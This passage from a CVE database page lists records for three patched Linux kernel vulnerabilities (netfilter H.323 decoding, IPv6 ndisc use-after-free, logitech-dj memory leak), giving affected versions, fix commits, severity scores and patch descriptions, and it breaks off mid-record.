Linux	Linux	Affected: 2.6.17 Unaffected: 0 , < 2.6.17 (semver) Unaffected: 4.19.310 , ≤ 4.19.* (semver) Unaffected: 5.4.272 , ≤ 5.4.* (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.82 , ≤ 6.1.* (semver) Unaffected: 6.6.22 , ≤ 6.6.* (semver) Unaffected: 6.7.10 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26851",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-12T17:33:25.792652Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-12T17:33:34.212Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.704Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98db42191329c679f4ca52bec0b319689e1ad8cb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4bafcc43baf7bcf93566394dbd15726b5b456b7a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ccd1108b16ab572d9bf635586b0925635dbd6bbc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b3c0f553820516ad4b62a9390ecd28d6f73a7b13"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/39001e3c42000e7c2038717af0d33c32319ad591"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/014a807f1cc9c9d5173c1cd935835553b00d211c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/80ee5054435a11c87c9a4f30f1ff750080c96416"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/767146637efc528b5e3d31297df115e85a2fd362"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:32.649Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_conntrack_h323_asn1.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "98db42191329c679f4ca52bec0b319689e1ad8cb",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            },
            {
              "lessThan": "4bafcc43baf7bcf93566394dbd15726b5b456b7a",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            },
            {
              "lessThan": "ccd1108b16ab572d9bf635586b0925635dbd6bbc",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            },
            {
              "lessThan": "b3c0f553820516ad4b62a9390ecd28d6f73a7b13",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            },
            {
              "lessThan": "39001e3c42000e7c2038717af0d33c32319ad591",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            },
            {
              "lessThan": "014a807f1cc9c9d5173c1cd935835553b00d211c",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            },
            {
              "lessThan": "80ee5054435a11c87c9a4f30f1ff750080c96416",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            },
            {
              "lessThan": "767146637efc528b5e3d31297df115e85a2fd362",
              "status": "affected",
              "version": "5e35941d990123f155b02d5663e51a24f816b6f3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_conntrack_h323_asn1.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.17"
            },
            {
              "lessThan": "2.6.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.310",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.272",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.82",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.310",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.272",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.82",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.22",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.10",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_h323: Add protection for bmp length out of range\n\nUBSAN load reports an exception of BRK#5515 SHIFT_ISSUE:Bitwise shifts\nthat are out of bounds for their data type.\n\nvmlinux   get_bitmap(b=75) + 712\n\u003cnet/netfilter/nf_conntrack_h323_asn1.c:0\u003e\nvmlinux   decode_seq(bs=0xFFFFFFD008037000, f=0xFFFFFFD008037018, level=134443100) + 1956\n\u003cnet/netfilter/nf_conntrack_h323_asn1.c:592\u003e\nvmlinux   decode_choice(base=0xFFFFFFD0080370F0, level=23843636) + 1216\n\u003cnet/netfilter/nf_conntrack_h323_asn1.c:814\u003e\nvmlinux   decode_seq(f=0xFFFFFFD0080371A8, level=134443500) + 812\n\u003cnet/netfilter/nf_conntrack_h323_asn1.c:576\u003e\nvmlinux   decode_choice(base=0xFFFFFFD008037280, level=0) + 1216\n\u003cnet/netfilter/nf_conntrack_h323_asn1.c:814\u003e\nvmlinux   DecodeRasMessage() + 304\n\u003cnet/netfilter/nf_conntrack_h323_asn1.c:833\u003e\nvmlinux   ras_help() + 684\n\u003cnet/netfilter/nf_conntrack_h323_main.c:1728\u003e\nvmlinux   nf_confirm() + 188\n\u003cnet/netfilter/nf_conntrack_proto.c:137\u003e\n\nDue to abnormal data in skb-\u003edata, the extension bitmap length\nexceeds 32 when decoding ras message then uses the length to make\na shift operation. It will change into negative after several loop.\nUBSAN load could detect a negative shift as an undefined behaviour\nand reports exception.\nSo we add the protection to avoid the length exceeding 32. Or else\nit will return out of range error and stop decoding."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:21.167Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/98db42191329c679f4ca52bec0b319689e1ad8cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/4bafcc43baf7bcf93566394dbd15726b5b456b7a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ccd1108b16ab572d9bf635586b0925635dbd6bbc"
        },
        {
          "url": "https://git.kernel.org/stable/c/b3c0f553820516ad4b62a9390ecd28d6f73a7b13"
        },
        {
          "url": "https://git.kernel.org/stable/c/39001e3c42000e7c2038717af0d33c32319ad591"
        },
        {
          "url": "https://git.kernel.org/stable/c/014a807f1cc9c9d5173c1cd935835553b00d211c"
        },
        {
          "url": "https://git.kernel.org/stable/c/80ee5054435a11c87c9a4f30f1ff750080c96416"
        },
        {
          "url": "https://git.kernel.org/stable/c/767146637efc528b5e3d31297df115e85a2fd362"
        }
      ],
      "title": "netfilter: nf_conntrack_h323: Add protection for bmp length out of range",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26851",
    "datePublished": "2024-04-17T10:17:15.298Z",
    "dateReserved": "2024-02-19T14:20:24.183Z",
    "dateUpdated": "2026-05-12T11:49:32.649Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21764 (GCVE-0-2025-21764)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

ndisc: use RCU protection in ndisc_alloc_skb()

Summary

In the Linux kernel, the following vulnerability has been resolved: ndisc: use RCU protection in ndisc_alloc_skb() ndisc_alloc_skb() can be called without RTNL or RCU being held. Add RCU protection to avoid possible UAF.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/96fc896d0e5b37c12…
https://git.kernel.org/stable/c/c30893ef3d9cde8e7…
https://git.kernel.org/stable/c/b870256dd2a5648d5…
https://git.kernel.org/stable/c/3c2d705f5adf5d860…
https://git.kernel.org/stable/c/9e0ec817eb41a5532…
https://git.kernel.org/stable/c/bbec88e4108e8d6fb…
https://git.kernel.org/stable/c/cd1065f92eb7ff21b…
https://git.kernel.org/stable/c/628e6d18930bbd21f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < 96fc896d0e5b37c12808df797397fb16f3080879 (git) Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < c30893ef3d9cde8e7e8e4fd06b53d2c935bbccb1 (git) Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < b870256dd2a5648d5ed2f22316b3ac29a7e5ed63 (git) Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < 3c2d705f5adf5d860aaef90cb4211c0fde2ba66d (git) Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < 9e0ec817eb41a55327a46cd3ce331a9868d60304 (git) Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < bbec88e4108e8d6fb468d3817fa652140a44ff28 (git) Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < cd1065f92eb7ff21b9ba5308a86f33d1670bf926 (git) Affected: de09334b9326632bbf1a74bfd8b01866cbbf2f61 , < 628e6d18930bbd21f2d4562228afe27694f66da9 (git)
Linux	Linux	Affected: 3.9 Unaffected: 0 , < 3.9 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21764",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:57:20.278381Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:26.827Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:17.328Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:45.448Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ndisc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "96fc896d0e5b37c12808df797397fb16f3080879",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            },
            {
              "lessThan": "c30893ef3d9cde8e7e8e4fd06b53d2c935bbccb1",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            },
            {
              "lessThan": "b870256dd2a5648d5ed2f22316b3ac29a7e5ed63",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            },
            {
              "lessThan": "3c2d705f5adf5d860aaef90cb4211c0fde2ba66d",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            },
            {
              "lessThan": "9e0ec817eb41a55327a46cd3ce331a9868d60304",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            },
            {
              "lessThan": "bbec88e4108e8d6fb468d3817fa652140a44ff28",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            },
            {
              "lessThan": "cd1065f92eb7ff21b9ba5308a86f33d1670bf926",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            },
            {
              "lessThan": "628e6d18930bbd21f2d4562228afe27694f66da9",
              "status": "affected",
              "version": "de09334b9326632bbf1a74bfd8b01866cbbf2f61",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ndisc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.9"
            },
            {
              "lessThan": "3.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nndisc: use RCU protection in ndisc_alloc_skb()\n\nndisc_alloc_skb() can be called without RTNL or RCU being held.\n\nAdd RCU protection to avoid possible UAF."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:56.718Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/96fc896d0e5b37c12808df797397fb16f3080879"
        },
        {
          "url": "https://git.kernel.org/stable/c/c30893ef3d9cde8e7e8e4fd06b53d2c935bbccb1"
        },
        {
          "url": "https://git.kernel.org/stable/c/b870256dd2a5648d5ed2f22316b3ac29a7e5ed63"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c2d705f5adf5d860aaef90cb4211c0fde2ba66d"
        },
        {
          "url": "https://git.kernel.org/stable/c/9e0ec817eb41a55327a46cd3ce331a9868d60304"
        },
        {
          "url": "https://git.kernel.org/stable/c/bbec88e4108e8d6fb468d3817fa652140a44ff28"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd1065f92eb7ff21b9ba5308a86f33d1670bf926"
        },
        {
          "url": "https://git.kernel.org/stable/c/628e6d18930bbd21f2d4562228afe27694f66da9"
        }
      ],
      "title": "ndisc: use RCU protection in ndisc_alloc_skb()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21764",
    "datePublished": "2025-02-27T02:18:15.598Z",
    "dateReserved": "2024-12-29T08:45:45.761Z",
    "dateUpdated": "2026-05-12T12:03:45.448Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40934 (GCVE-0-2024-40934)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:25 – Updated: 2026-05-12 11:55

Title

HID: logitech-dj: Fix memory leak in logi_dj_recv_switch_to_dj_mode()

Summary

In the Linux kernel, the following vulnerability has been resolved: HID: logitech-dj: Fix memory leak in logi_dj_recv_switch_to_dj_mode() Fix a memory leak on logi_dj_recv_send_report() error path.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/15122dc140d82c51c…
https://git.kernel.org/stable/c/caa9c9acb93db7ad7…
https://git.kernel.org/stable/c/a0503757947f2e46e…
https://git.kernel.org/stable/c/789c99a1d7d2c8f60…
https://git.kernel.org/stable/c/f677ca8cfefee2a72…
https://git.kernel.org/stable/c/1df2ead5dfad5f8f9…
https://git.kernel.org/stable/c/ce3af2ee95170b7d9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: cf48a7ba5c095f76bb9c1951f120fa048442422f , < 15122dc140d82c51c216535c57b044c4587aae45 (git) Affected: e38a6f12685d8a2189b72078f6254b069ff84650 , < caa9c9acb93db7ad7b74b157cf101579bac9596d (git) Affected: 4fb28379b3c735398b252a979c991b340baa6b5b , < a0503757947f2e46e59c1962326b53b3208c8213 (git) Affected: 6e59609541514d2ed3472f5bc999c55bdb6144ee , < 789c99a1d7d2c8f6096d75fc2930505840ec9ea0 (git) Affected: 6f20d3261265885f6a6be4cda49d7019728760e0 , < f677ca8cfefee2a729ca315f660cd4868abdf8de (git) Affected: 6f20d3261265885f6a6be4cda49d7019728760e0 , < 1df2ead5dfad5f8f92467bd94889392d53100b98 (git) Affected: 6f20d3261265885f6a6be4cda49d7019728760e0 , < ce3af2ee95170b7d9e15fff6e500d67deab1e7b3 (git) Affected: 144becd79c196f02143ca71fc10766bd0cc660a1 (git) Affected: 00ab92481d3a40a5ad323df4c518068f66ce49f1 (git)
Linux	Linux	Affected: 6.6 Unaffected: 0 , < 6.6 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:01.007Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/15122dc140d82c51c216535c57b044c4587aae45"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/caa9c9acb93db7ad7b74b157cf101579bac9596d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a0503757947f2e46e59c1962326b53b3208c8213"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/789c99a1d7d2c8f6096d75fc2930505840ec9ea0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f677ca8cfefee2a729ca315f660cd4868abdf8de"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1df2ead5dfad5f8f92467bd94889392d53100b98"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ce3af2ee95170b7d9e15fff6e500d67deab1e7b3"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40934",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:04:49.502854Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:27.026Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:42.938Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-logitech-dj.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "15122dc140d82c51c216535c57b044c4587aae45",
              "status": "affected",
              "version": "cf48a7ba5c095f76bb9c1951f120fa048442422f",
              "versionType": "git"
            },
            {
